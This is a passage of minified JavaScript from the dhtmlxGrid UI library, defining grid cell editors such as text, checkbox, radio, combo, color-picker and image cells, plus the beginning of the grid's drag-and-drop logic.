a[0]}};dhtmlXGridCellObject.prototype.setValue=function(a){if((typeof(a)!=\"number\")&&(!a||a.toString()._dhx_trim()==\"\")){a=\"&nbsp;\";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCValue(a)};dhtmlXGridCellObject.prototype.getTitle=function(){return(_isIE?this.cell.innerText:this.cell.textContent)};dhtmlXGridCellObject.prototype.setCValue=function(c,a){this.cell.innerHTML=c;this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,(arguments.length>1?a:c)])};dhtmlXGridCellObject.prototype.setCTxtValue=function(a){this.cell.innerHTML=\"\";this.cell.appendChild(document.createTextNode(a));this.grid.callEvent(\"onCellChanged\",[this.cell.parentNode.idd,this.cell._cellIndex,a])};dhtmlXGridCellObject.prototype.setLabel=function(a){this.cell.innerHTML=a};dhtmlXGridCellObject.prototype.getMath=function(){if(this._val){return this.val}else{return this.getValue()}};function eXcell(){this.obj=null;this.val=null;this.changeState=function(){return false};this.edit=function(){this.val=this.getValue()};this.detach=function(){return false};this.getPosition=function(g){var a=g;var e=0;var c=0;while(a.tagName!=\"BODY\"){e+=a.offsetLeft;c+=a.offsetTop;a=a.offsetParent}return new Array(e,c)}}eXcell.prototype=new dhtmlXGridCellObject;function eXcell_ed(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.cell.atag=(!this.grid.multiLine)?\"INPUT\":\"TEXTAREA\";this.val=this.getValue();this.obj=document.createElement(this.cell.atag);this.obj.setAttribute(\"autocomplete\",\"off\");this.obj.style.height=(this.cell.offsetHeight-(_isIE?4:4))+\"px\";this.obj.className=\"dhx_combo_edit\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.style.textAlign;this.obj.onclick=function(c){(c||event).cancelBubble=true};this.obj.onmousedown=function(c){(c||event).cancelBubble=true};this.obj.value=this.val;this.cell.innerHTML=\"\";this.cell.appendChild(this.obj);this.obj.onselectstart=function(c){if(!c){c=event}c.cancelBubble=true;return true};if(_isIE){this.obj.focus();this.obj.blur()}this.obj.focus()};this.getValue=function(){if((this.cell.firstChild)&&((this.cell.atag)&&(this.cell.firstChild.tagName==this.cell.atag))){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}return this.cell.innerHTML.toString()._dhx_trim()};this.detach=function(){this.setValue(this.obj.value);return this.val!=this.getValue()}}eXcell_ed.prototype=new eXcell;function eXcell_edtxt(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){if((this.cell.firstChild)&&((this.cell.atag)&&(this.cell.firstChild.tagName==this.cell.atag))){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}return(_isIE?this.cell.innerText:this.cell.textContent)};this.setValue=function(c){if(!c||c.toString()._dhx_trim()==\"\"){c=\" \";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCTxtValue(c)}}eXcell_edtxt.prototype=new eXcell_ed;function eXcell_edn(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){if((this.cell.firstChild)&&(this.cell.firstChild.tagName==\"TEXTAREA\")){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}return this.cell._orig_value||this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex)};this.detach=function(){var c=this.obj.value;this.setValue(c);return this.val!=this.getValue()}}eXcell_edn.prototype=new eXcell_ed;eXcell_edn.prototype.setValue=function(a){if(!a||a.toString()._dhx_trim()==\"\"){this.cell._clearCell=true;return this.setCValue(\"&nbsp;\",0)}else{this.cell._clearCell=false;this.cell._orig_value=a}this.setCValue(this.grid._aplNF(a,this.cell._cellIndex),a)};function eXcell_ch(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.disabledF=function(c){if((c==true)||(c==1)){this.cell.innerHTML=this.cell.innerHTML.replace(\"item_chk0.\",\"item_chk0_dis.\").replace(\"item_chk1.\",\"item_chk1_dis.\")}else{this.cell.innerHTML=this.cell.innerHTML.replace(\"item_chk0_dis.\",\"item_chk0.\").replace(\"item_chk1_dis.\",\"item_chk1.\")}};this.changeState=function(c){if(c===true&&!this.grid.isActive){if(window.globalActiveDHTMLGridObject!=null&&window.globalActiveDHTMLGridObject!=this.grid&&window.globalActiveDHTMLGridObject.isActive){window.globalActiveDHTMLGridObject.setActive(false)}this.grid.setActive(true)}if((!this.grid.isEditable)||(this.cell.parentNode._locked)||(this.isDisabled())){return}if(this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex])){this.val=this.getValue();if(this.val==\"1\"){this.setValue(\"0\")}else{this.setValue(\"1\")}this.cell.wasChanged=true;this.grid.callEvent(\"onEditCell\",[1,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid.callEvent(\"onCheckbox\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")]);this.grid.callEvent(\"onCheck\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")])}else{this.editor=null}};this.getValue=function(){return this.cell.chstate?this.cell.chstate.toString():\"0\"};this.isCheckbox=function(){return true};this.isChecked=function(){if(this.getValue()==\"1\"){return true}else{return false}};this.setChecked=function(c){this.setValue(c.toString())};this.detach=function(){return this.val!=this.getValue()};this.edit=null}eXcell_ch.prototype=new eXcell;eXcell_ch.prototype.setValue=function(c){this.cell.style.verticalAlign=\"middle\";if(c){c=c.toString()._dhx_trim();if((c==\"false\")||(c==\"0\")){c=\"\"}}if(c){c=\"1\";this.cell.chstate=\"1\"}else{c=\"0\";this.cell.chstate=\"0\"}var a=this;this.setCValue(\"<img src='\"+this.grid.imgURL+\"item_chk\"+c+\".gif' onclick='new eXcell_ch(this.parentNode).changeState(true); (arguments[0]||event).cancelBubble=true; '>\",this.cell.chstate)};function eXcell_ra(a){this.base=eXcell_ch;this.base(a);this.grid=a.parentNode.grid;this.disabledF=function(c){if((c==true)||(c==1)){this.cell.innerHTML=this.cell.innerHTML.replace(\"radio_chk0.\",\"radio_chk0_dis.\").replace(\"radio_chk1.\",\"radio_chk1_dis.\")}else{this.cell.innerHTML=this.cell.innerHTML.replace(\"radio_chk0_dis.\",\"radio_chk0.\").replace(\"radio_chk1_dis.\",\"radio_chk1.\")}};this.changeState=function(c){if(c===false&&this.getValue()==1){return}if((!this.grid.isEditable)||(this.cell.parentNode._locked)||(this.isDisabled())){return}if(this.grid.callEvent(\"onEditCell\",[0,this.cell.parentNode.idd,this.cell._cellIndex])!=false){this.val=this.getValue();if(this.val==\"1\"){this.setValue(\"0\")}else{this.setValue(\"1\")}this.cell.wasChanged=true;this.grid.callEvent(\"onEditCell\",[1,this.cell.parentNode.idd,this.cell._cellIndex]);this.grid.callEvent(\"onCheckbox\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")]);this.grid.callEvent(\"onCheck\",[this.cell.parentNode.idd,this.cell._cellIndex,(this.val!=\"1\")])}else{this.editor=null}};this.edit=null}eXcell_ra.prototype=new eXcell_ch;eXcell_ra.prototype.setValue=function(c){this.cell.style.verticalAlign=\"middle\";if(c){c=c.toString()._dhx_trim();if((c==\"false\")||(c==\"0\")){c=\"\"}}if(c){if(!this.grid._RaSeCol){this.grid._RaSeCol=[]}if(this.grid._RaSeCol[this.cell._cellIndex]){var a=this.grid.cells4(this.grid._RaSeCol[this.cell._cellIndex]);a.setValue(\"0\");if(this.grid.rowsAr[a.cell.parentNode.idd]){this.grid.callEvent(\"onEditCell\",[1,a.cell.parentNode.idd,a.cell._cellIndex])}}this.grid._RaSeCol[this.cell._cellIndex]=this.cell;c=\"1\";this.cell.chstate=\"1\"}else{c=\"0\";this.cell.chstate=\"0\"}this.setCValue(\"<img src='\"+this.grid.imgURL+\"radio_chk\"+c+\".gif' onclick='new eXcell_ra(this.parentNode).changeState(false);'>\",this.cell.chstate)};function eXcell_txt(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){this.val=this.getValue();this.obj=document.createElement(\"TEXTAREA\");this.obj.className=\"dhx_textarea\";this.obj.onclick=function(g){(g||event).cancelBubble=true};var c=this.grid.getPosition(this.cell);this.obj.value=this.val;this.obj.style.display=\"\";this.obj.style.textAlign=this.cell.style.textAlign;document.body.appendChild(this.obj);if(_isOpera){this.obj.onkeypress=function(g){if(g.keyCode==9||g.keyCode==27){return false}}}this.obj.onkeydown=function(h){var g=(h||event);if(g.keyCode==9||g.keyCode==27){globalActiveDHTMLGridObject.entBox.focus();globalActiveDHTMLGridObject.doKey({keyCode:g.keyCode,shiftKey:g.shiftKey,srcElement:\"0\"});return false}};this.obj.style.left=c[0]+\"px\";this.obj.style.top=c[1]+this.cell.offsetHeight+\"px\";if(this.cell.offsetWidth<200){var e=200}else{var e=this.cell.offsetWidth}this.obj.style.width=e+16+\"px\";if(_isIE){this.obj.select();this.obj.value=this.obj.value}this.obj.focus()};this.detach=function(){var c=\"\";c=this.obj.value;if(c==\"\"){this.cell._clearCell=true}else{this.cell._clearCell=false}this.setValue(c);document.body.removeChild(this.obj);this.obj=null;return this.val!=this.getValue()};this.getValue=function(){if(this.obj){return this.obj.value}if(this.cell._clearCell){return\"\"}if(typeof this.cell._brval!=\"undefined\"){return this.cell._brval}if((!this.grid.multiLine)){return this.cell._brval||this.cell.innerHTML}else{return this.cell._brval||this.cell.innerHTML.replace(/<br[^>]*>/gi,\"\\n\")._dhx_trim()}}}eXcell_txt.prototype=new eXcell;function eXcell_txttxt(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){if((this.cell.firstChild)&&(this.cell.firstChild.tagName==\"TEXTAREA\")){return this.cell.firstChild.value}if(this.cell._clearCell){return\"\"}if((!this.grid.multiLine)&&this.cell._brval){return this.cell._brval}return(_isIE?this.cell.innerText:this.cell.textContent)};this.setValue=function(c){this.cell._brval=c;if(!c||c.toString()._dhx_trim()==\"\"){c=\" \";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCTxtValue(c)}}eXcell_txttxt.prototype=new eXcell_txt;eXcell_txt.prototype.setValue=function(a){this.cell._brval=a;if(!a||a.toString()._dhx_trim()==\"\"){a=\"&nbsp;\";this.cell._clearCell=true}else{this.cell._clearCell=false}if((!this.grid.multiLine)||this.cell._clearCell){this.setCValue(a,this.cell._brval)}else{this.setCValue(a.replace(/\\n/g,\"<br/>\"),a)}};function eXcell_co(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.combo=(this.cell._combo||this.grid.getCombo(this.cell._cellIndex));this.editable=true}this.shiftNext=function(){var c=this.list.options[this.list.selectedIndex+1];if(c){c.selected=true}this.obj.value=this.list.options[this.list.selectedIndex].text;return true};this.shiftPrev=function(){if(this.list.selectedIndex!=0){var c=this.list.options[this.list.selectedIndex-1];if(c){c.selected=true}this.obj.value=this.list.options[this.list.selectedIndex].text}return true};this.edit=function(){this.val=this.getValue();this.text=this.getText()._dhx_trim();var g=this.grid.getPosition(this.cell);this.obj=document.createElement(\"TEXTAREA\");this.obj.className=\"dhx_combo_edit\";this.obj.style.height=(this.cell.offsetHeight-(_isIE?4:4))+\"px\";this.obj.wrap=\"soft\";this.obj.style.textAlign=this.cell.style.textAlign;this.obj.onclick=function(o){(o||event).cancelBubble=true};this.obj.onmousedown=function(o){(o||event).cancelBubble=true};this.obj.value=this.text;this.obj.onselectstart=function(o){if(!o){o=event}o.cancelBubble=true;return true};var l=this;this.obj.onkeyup=function(r){var q=(r||event).keyCode;if(q==38||q==40||q==9){return}var s=this.readonly?String.fromCharCode(q):this.value;var u=l.list.options;for(var o=0;o<u.length;o++){if(u[o].text.indexOf(s)==0){return u[o].selected=true}}};this.list=document.createElement(\"SELECT\");this.list.className=\"dhx_combo_select\";this.list.style.width=this.cell.offsetWidth+\"px\";this.list.style.left=g[0]+\"px\";this.list.style.top=g[1]+this.cell.offsetHeight+\"px\";this.list.onclick=function(r){var q=r||window.event;var o=q.target||q.srcElement;if(o.tagName==\"OPTION\"){o=o.parentNode}l.editable=false;l.grid.editStop();q.cancelBubble=true};var c=this.combo.getKeys();var h=false;var n=0;for(var e=0;e<c.length;e++){var m=this.combo.get(c[e]);this.list.options[this.list.options.length]=new Option(m,c[e]);if(c[e]==this.val){n=this.list.options.length-1;h=true}}if(h==false){this.list.options[this.list.options.length]=new Option(this.text,this.val===null?\"\":this.val);n=this.list.options.length-1}document.body.appendChild(this.list);this.list.size=\"6\";this.cstate=1;if(this.editable){this.cell.innerHTML=\"\"}else{this.obj.style.width=\"1px\";this.obj.style.height=\"1px\"}this.cell.appendChild(this.obj);this.list.options[n].selected=true;if(this.editable){this.obj.focus();this.obj.focus()}if(!this.editable){this.obj.style.visibility=\"hidden\";this.list.focus();this.list.onkeydown=function(o){o=o||window.event;l.grid.setActive(true);if(o.keyCode<30){return l.grid.doKey({target:l.cell,keyCode:o.keyCode,shiftKey:o.shiftKey,ctrlKey:o.ctrlKey})}}}};this.getValue=function(){return((this.cell.combo_value==window.undefined)?\"\":this.cell.combo_value)};this.detach=function(){if(this.val!=this.getValue()){this.cell.wasChanged=true}if(this.list.parentNode!=null){if(this.editable){var c=this.list.options[this.list.selectedIndex];if(c&&c.text==this.obj.value){this.setValue(this.list.value)}else{var e=(this.cell._combo||this.grid.getCombo(this.cell._cellIndex));var g=e.values._dhx_find(this.obj.value);if(g!=-1){this.setValue(e.keys[g])}else{this.setValue(this.cell.combo_value=this.obj.value)}}}else{this.setValue(this.list.value)}}if(this.list.parentNode){this.list.parentNode.removeChild(this.list)}if(this.obj.parentNode){this.obj.parentNode.removeChild(this.obj)}return this.val!=this.getValue()}}eXcell_co.prototype=new eXcell;eXcell_co.prototype.getText=function(){return this.cell.innerHTML};eXcell_co.prototype.setValue=function(g){if(typeof(g)==\"object\"){var e=dhx4.ajax.xpath(\"./option\",g);if(e.length){this.cell._combo=new dhtmlXGridComboObject()}for(var c=0;c<e.length;c++){this.cell._combo.put(e[c].getAttribute(\"value\"),e[c].firstChild?e[c].firstChild.data:\"\")}g=g.firstChild.data}if((g||\"\").toString()._dhx_trim()==\"\"){g=null}this.cell.combo_value=g;if(g!==null){var a=(this.cell._combo||this.grid.getCombo(this.cell._cellIndex)).get(g);this.setCValue(a===null?g:a,g)}else{this.setCValue(\"&nbsp;\",g)}};function eXcell_coro(a){this.base=eXcell_co;this.base(a);this.editable=false}eXcell_coro.prototype=new eXcell_co;function eXcell_cotxt(a){this.base=eXcell_co;this.base(a)}eXcell_cotxt.prototype=new eXcell_co;eXcell_cotxt.prototype.getText=function(){return(_isIE?this.cell.innerText:this.cell.textContent)};eXcell_cotxt.prototype.setValue=function(e){if(typeof(e)==\"object\"){var c=dhx4.ajax.xpath(\"./option\",e);if(c.length){this.cell._combo=new dhtmlXGridComboObject()}for(var a=0;a<c.length;a++){this.cell._combo.put(c[a].getAttribute(\"value\"),c[a].firstChild?c[a].firstChild.data:\"\")}e=e.firstChild.data}if((e||\"\").toString()._dhx_trim()==\"\"){e=null}if(e!==null){this.setCTxtValue((this.cell._combo||this.grid.getCombo(this.cell._cellIndex)).get(e)||e,e)}else{this.setCTxtValue(\" \",e)}this.cell.combo_value=e};function eXcell_corotxt(a){this.base=eXcell_co;this.base(a);this.editable=false}eXcell_corotxt.prototype=new eXcell_cotxt;function eXcell_cp(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.edit=function(){this.val=this.getValue();this.obj=document.createElement(\"SPAN\");this.obj.style.border=\"1px solid black\";this.obj.style.position=\"absolute\";var e=this.grid.getPosition(this.cell);this.colorPanel(4,this.obj);document.body.appendChild(this.obj);this.obj.style.left=e[0]+\"px\";this.obj.style.zIndex=1000;this.obj.style.top=e[1]+this.cell.offsetHeight+\"px\"};this.toolDNum=function(e){if(e.length==1){e=\"0\"+e}return e};this.colorPanel=function(q,v){var m=document.createElement(\"TABLE\");v.appendChild(m);m.cellSpacing=0;m.editor_obj=this;m.style.cursor=\"default\";m.onclick=function(x){var w=x||window.event;var n=w.target||w.srcElement;var r=n.parentNode.parentNode.parentNode.editor_obj;if(r){r.setValue(n._bg);r.grid.editStop()}};var h=256/q;for(var l=0;l<=(256/h);l++){var e=m.insertRow(l);for(var o=0;o<=(256/h);o++){for(var g=0;g<=(256/h);g++){R=new Number(h*l)-(l==0?0:1);G=new Number(h*o)-(o==0?0:1);B=new Number(h*g)-(g==0?0:1);var u=this.toolDNum(R.toString(16))+\"\"+this.toolDNum(G.toString(16))+\"\"+this.toolDNum(B.toString(16));var s=e.insertCell(o);s.width=\"10px\";s.innerHTML=\"&nbsp;\";s.title=u.toUpperCase();s.style.backgroundColor=\"#\"+u;s._bg=\"#\"+u;if(this.val!=null&&\"#\"+u.toUpperCase()==this.val.toUpperCase()){s.style.border=\"2px solid white\"}}}}};this.getValue=function(){return this.cell.firstChild._bg||\"\"};this.getRed=function(){return Number(parseInt(this.getValue().substr(1,2),16))};this.getGreen=function(){return Number(parseInt(this.getValue().substr(3,2),16))};this.getBlue=function(){return Number(parseInt(this.getValue().substr(5,2),16))};this.detach=function(){if(this.obj.offsetParent!=null){document.body.removeChild(this.obj)}return this.val!=this.getValue()}}eXcell_cp.prototype=new eXcell;eXcell_cp.prototype.setValue=function(a){this.setCValue(\"<div style='width:100%;height:\"+((this.grid.multiLine?\"100%\":23))+\";background-color:\"+(a||\"\")+\";border:0px;'>&nbsp;</div>\",a);this.cell.firstChild._bg=a};function eXcell_img(a){try{this.cell=a;this.grid=this.cell.parentNode.grid}catch(c){}this.getValue=function(){if(this.cell.firstChild.tagName==\"IMG\"){return this.cell.firstChild.src+(this.cell.titFl!=null?\"^\"+this.cell._brval:\"\")}else{if(this.cell.firstChild.tagName==\"A\"){var e=this.cell.firstChild.firstChild.src+(this.cell.titFl!=null?\"^\"+this.cell._brval:\"\");e+=\"^\"+this.cell.lnk;if(this.cell.trg){e+=\"^\"+this.cell.trg}return e}}};this.isDisabled=function(){return true}}eXcell_img.prototype=new eXcell;eXcell_img.prototype.getTitle=function(){return this.cell._brval};eXcell_img.prototype.setValue=function(e){var c=e;if((e||\"\").indexOf(\"^\")!=-1){var a=e.split(\"^\");e=a[0];c=this.cell._attrs.title||a[1];if(a.length>2){this.cell.lnk=a[2];if(a[3]){this.cell.trg=a[3]}}this.cell.titFl=\"1\"}this.setCValue(\"<img src='\"+this.grid.iconURL+(e||\"\")._dhx_trim()+\"' border='0'>\",e);if(this.cell.lnk){this.cell.innerHTML=\"<a href='\"+this.cell.lnk+\"' target='\"+this.cell.trg+\"'>\"+this.cell.innerHTML+\"</a>\"}this.cell._brval=c};function eXcell_price(a){this.base=eXcell_ed;this.base(a);this.getValue=function(){if(this.cell.childNodes.length>1){return this.cell.childNodes[1].innerHTML.toString()._dhx_trim()}else{return\"0\"}}}eXcell_price.prototype=new eXcell_ed;eXcell_price.prototype.setValue=function(c){if(isNaN(parseFloat(c))){c=this.val||0}var a=\"green\";if(c<0){a=\"red\"}this.setCValue(\"<span>$</span><span style='padding-right:2px;color:\"+a+\";'>\"+c+\"</span>\",c)};function eXcell_dyn(a){this.base=eXcell_ed;this.base(a);this.getValue=function(){return this.cell.firstChild.childNodes[1].innerHTML.toString()._dhx_trim()}}eXcell_dyn.prototype=new eXcell_ed;eXcell_dyn.prototype.setValue=function(e){if(!e||isNaN(Number(e))){if(e!==\"\"){e=0}}if(e>0){var c=\"green\";var a=\"dyn_up.gif\"}else{if(e==0){var c=\"black\";var a=\"dyn_.gif\"}else{var c=\"red\";var a=\"dyn_down.gif\"}}this.setCValue(\"<div style='position:relative;padding-right:2px; width:100%;overflow:hidden; white-space:nowrap;'><img src='\"+this.grid.imgURL+\"\"+a+\"' height='15' style='position:absolute;top:0px;left:0px;'><span style=' padding-left:20px; width:100%;color:\"+c+\";'>\"+e+\"</span></div>\",e)};function eXcell_ro(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){};this.isDisabled=function(){return true};this.getValue=function(){return this.cell._clearCell?\"\":this.cell.innerHTML.toString()._dhx_trim()}}eXcell_ro.prototype=new eXcell;window.eXcell_hidden=function(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.edit=function(){};this.isDisabled=function(){return true};this.getValue=function(){return this.cell.val}};eXcell_hidden.prototype=new eXcell;eXcell_hidden.prototype.setValue=function(a){this.cell.val=a};function eXcell_ron(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.edit=function(){};this.isDisabled=function(){return true};this.getValue=function(){return this.cell._clearCell?\"\":this.cell._orig_value||this.grid._aplNFb(this.cell.innerHTML.toString()._dhx_trim(),this.cell._cellIndex).toString()}}eXcell_ron.prototype=new eXcell;eXcell_ron.prototype.setValue=function(a){if(a===0){}else{if(!a||a.toString()._dhx_trim()==\"\"){this.setCValue(\"&nbsp;\");return this.cell._clearCell=true}}this.cell._orig_value=a;this.cell._clearCell=false;this.setCValue(a?this.grid._aplNF(a,this.cell._cellIndex):\"0\")};function eXcell_rotxt(a){this.cell=a;this.grid=this.cell.parentNode.grid;this.edit=function(){};this.isDisabled=function(){return true};this.setValue=function(c){if(!c){c=\" \";this.cell._clearCell=true}else{this.cell._clearCell=false}this.setCTxtValue(c)};this.getValue=function(){if(this.cell._clearCell){return\"\"}return(_isIE?this.cell.innerText:this.cell.textContent)}}eXcell_rotxt.prototype=new eXcell;function dhtmlXGridComboObject(){this.keys=new dhtmlxArray();this.values=new dhtmlxArray();this.put=function(c,e){for(var a=0;a<this.keys.length;a++){if(this.keys[a]==c){this.values[a]=e;return true}}this.values[this.values.length]=e;this.keys[this.keys.length]=c};this.get=function(c){for(var a=0;a<this.keys.length;a++){if(this.keys[a]==c){return this.values[a]}}return null};this.clear=function(){this.keys=new dhtmlxArray();this.values=new dhtmlxArray()};this.remove=function(c){for(var a=0;a<this.keys.length;a++){if(this.keys[a]==c){this.keys._dhx_removeAt(a);this.values._dhx_removeAt(a);return true}}};this.size=function(){var a=0;for(var c=0;c<this.keys.length;c++){if(this.keys[c]!=null){a++}}return a};this.getKeys=function(){var a=new Array(0);for(var c=0;c<this.keys.length;c++){if(this.keys[c]!=null){a[a.length]=this.keys[c]}}return a};this.save=function(){this._save=new Array();for(var a=0;a<this.keys.length;a++){this._save[a]=[this.keys[a],this.values[a]]}};this.restore=function(){if(this._save){this.keys[a]=new Array();this.values[a]=new Array();for(var a=0;a<this._save.length;a++){this.keys[a]=this._save[a][0];this.values[a]=this._save[a][1]}}};return this}function Hashtable(){this.keys=new dhtmlxArray();this.values=new dhtmlxArray();return this}Hashtable.prototype=new dhtmlXGridComboObject;if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachGrid=function(){this.callEvent(\"_onBeforeContentAttach\",[\"grid\"]);var a=document.createElement(\"DIV\");a.style.width=\"100%\";a.style.height=\"100%\";a.style.position=\"relative\";a.style.overflow=\"hidden\";this._attachObject(a);this.dataType=\"grid\";this.dataObj=new dhtmlXGridObject(a);this.dataObj.setSkin(this.conf.skin);if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&this instanceof window.dhtmlXTabBarCell&&navigator.userAgent.match(/7[\\.\\d]* mobile/gi)!=null&&navigator.userAgent.match(/AppleWebKit/gi)!=null){this.dataObj.objBox.style.webkitOverflowScrolling=\"auto\"}if(this.conf.skin==\"dhx_skyblue\"&&typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&this instanceof window.dhtmlXWindowsCell){this.dataObj.entBox.style.border=\"1px solid #a4bed4\";this.dataObj._sizeFix=0}else{this.dataObj.entBox.style.border=\"0px solid white\";this.dataObj._sizeFix=2}a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}dhtmlXGridObject.prototype.enableDragAndDrop=function(a){if(a==\"temporary_disabled\"){this.dADTempOff=false;a=true}else{this.dADTempOff=true}this.dragAndDropOff=dhx4.s2b(a);this._drag_validate=true;if(a){this.objBox.ondragstart=function(c){(c||event).cancelBubble=true;return false}}};dhtmlXGridObject.prototype.setDragBehavior=function(a){this.dadmodec=this.dadmodefix=0;switch(a){case\"child\":this.dadmode=0;this._sbmod=false;break;case\"sibling\":this.dadmode=1;this._sbmod=false;break;case\"sibling-next\":this.dadmode=1;this._sbmod=true;break;case\"complex\":this.dadmode=2;this._sbmod=false;break;case\"complex-next\":this.dadmode=2;this._sbmod=true;break}};dhtmlXGridObject.prototype.enableDragOrder=function(a){this._dndorder=dhx4.s2b(a)};dhtmlXGridObject.prototype._checkParent=function(g,c){var e=this._h2.get[g.idd].parent;if(!e.parent){return}for(var a=0;a<c.length;a++){if(c[a]==e.id){return true}}return this._checkParent(this.rowsAr[e.id],c)};dhtmlXGridObject.prototype._createDragNode=function(g,h){this.editStop();if(window.dhtmlDragAndDrop.dragNode){return null}if(!this.dADTempOff){return null}g.parentObject=new Object();g.parentObject.treeNod=this;var o=this.callEvent(\"onBeforeDrag\",[g.parentNode.idd,g._cellIndex,h]);if(!o){return null}var l=new Array();l=this.getSelectedId();l=(((l)&&(l!=\"\"))?l.split(this.delim):[]);var m=false;for(var c=0;c<l.length;c++){if(l[c]==g.parentNode.idd){m=true}}if(!m){this.selectRow(this.rowsAr[g.parentNode.idd],false,h.ctrlKey,false);if(!h.ctrlKey){l=[]}l[this.selMultiRows?l.length:0]=g.parentNode.idd}if(this.isTreeGrid()){for(var c=l.length-1;c>=0;c--){if(this._checkParent(this.rowsAr[l[c]],l)){l.splice(c,1)}}}var q=this;if(l.length&&this._dndorder){l.sort(function(r,e){return(q.rowsAr[r].rowIndex>q.rowsAr[e].rowIndex?1:-1)})}var a=this.getFirstParentOfType(_isIE?h.srcElement:h.target,\"TD\");if(a){this._dndExtra=a._cellIndex}this._dragged=new Array();for(var c=0;c<l.length;c++){if(this.rowsAr[l[c]]){this._dragged[this._dragged.length]=this.rowsAr[l[c]];this.rowsAr[l[c]].treeNod=this}}g.parentObject.parentNode=g.parentNode;var n=document.createElement(\"div\");n.innerHTML=(o!==true?o:this.rowToDragElement(g.parentNode.idd));n.style.position=\"absolute\";n.className=\"dragSpanDiv\";return n};dhtmlXGridObject.prototype._createSdrgc=function(){this._sdrgc=document.createElement(\"DIV\");this._sdrgc.innerHTML=\"&nbsp;\";this._sdrgc.className=\"gridDragLine\";this.objBox.appendChild(this._sdrgc)};function dragContext(w,v,u,s,r,q,n,o,m,g){this.source=w||\"grid\";this.target=v||\"grid\";this.mode=u||\"move\";this.dropmode=s||\"child\";this.sid=r||0;this.tid=q;this.sobj=n||null;this.tobj=o||null;this.sExtra=m||null;this.tExtra=g||null;return this}dragContext.prototype.valid=function(){if(this.sobj!=this.tobj){return true}if(this.sid==this.tid){return false}if(this.target==\"treeGrid\"){var a=this.tid;while(a=this.tobj.getParentId(a)){if(this.sid==a){return false}}}return true};dragContext.prototype.close=function(){this.sobj=null;this.tobj=null};dragContext.prototype.copy=function(){return new dragContext(this.source,this.target,this.mode,this.dropmode,this.sid,this.tid,this.sobj,this.tobj,this.sExtra,this.tExtra)};dragContext.prototype.set=function(e,c){this[e]=c;return this};dragContext.prototype.uid=function(e,c){this.nid=this.sid;while(this.tobj.rowsAr[this.nid]){this.nid=this.nid+((new Date()).valueOf())}return this};dragContext.prototype.data=function(){if(this.sobj==this.tobj){return this.sobj._getRowArray(this.sobj.rowsAr[this.sid])}if(this.source==\"tree\"){return this.tobj.treeToGridElement(this.sobj,this.sid,this.tid)}else{return this.tobj.gridToGrid(this.sid,this.sobj,this.tobj)}};dragContext.prototype.attrs=function(){if(this.source==\"tree\"){return{}}else{return this.sobj.rowsAr[this.sid]._attrs}};dragContext.prototype.childs=function(){if(this.source==\"treeGrid\"){return this.sobj._h2.get[this.sid]._xml_await?this.sobj._h2.get[this.sid].has_kids:null}return null};dragContext.prototype.pid=function(){if(!this.tid){return 0}if(!this.tobj._h2){return 0}if(this.target==\"treeGrid\"){if(this.dropmode==\"child\"){return this.tid}else{var c=this.tobj.rowsAr[this.tid];var a=this.tobj._h2.get[c.idd].parent.id;if((this.alfa)&&(this.tobj._sbmod)&&(c.nextSibling)){var e=this.tobj._h2.get[c.nextSibling.idd].parent.id;if(e==this.tid){return this.tid}if(e!=a){return e}}return a}}};dragContext.prototype.ind=function(){if(this.tid==window.unknown){return this.tobj.rowsBuffer.length}if(this.target==\"treeGrid\"){if(this.dropmode==\"child\"){this.tobj.openItem(this.tid)}else{this.tobj.openItem(this.tobj.getParentId(this.tid))}}var a=this.tobj.rowsBuffer._dhx_find(this.tobj.rowsAr[this.tid]);if((this.alfa)&&(this.tobj._sbmod)&&(this.dropmode==\"sibling\")){var c=this.tobj.rowsAr[this.tid];if((c.nextSibling)&&(this._h2.get[c.nextSibling.idd].parent.id==this.tid)){return a+1}}return(a+1+((this.target==\"treeGrid\"&&a>=0&&this.tobj._h2.get[this.tobj.rowsBuffer[a].idd].state==\"minus\")?this.tobj._getOpenLenght(this.tobj.rowsBuffer[a].idd,0):0))};dragContext.prototype.img=function(){if((this.target!=\"grid\")&&(this.sobj._h2)){return this.sobj.getItemImage(this.sid)}else{return null}};dragContext.prototype.slist=function(){var c=new Array();for(var a=0;a<this.sid.length;a++){c[c.length]=this.sid[a][(this.source==\"tree\")?\"id\":\"idd\"]}return c.join(\",\")};dhtmlXGridObject.prototype._drag=function(r,h,q,s){if(this._realfake){return this._fake._drag()}var o=(this.lastLanding);if(this._autoOpenTimer){window.clearTimeout(this._autoOpenTimer)}var g=q.parentNode;var e=r.parentObject;if(!g.idd){g.grid=this;this.dadmodefix=0}var n=new dragContext(0,0,0,((g.grid.dadmode==1||g.grid.dadmodec)?\"sibling\":\"child\"));if(e&&e.childNodes){n.set(\"source\",\"tree\").set(\"sobj\",e.treeNod).set(\"sid\",n.sobj._dragged)}else{if(!e){return 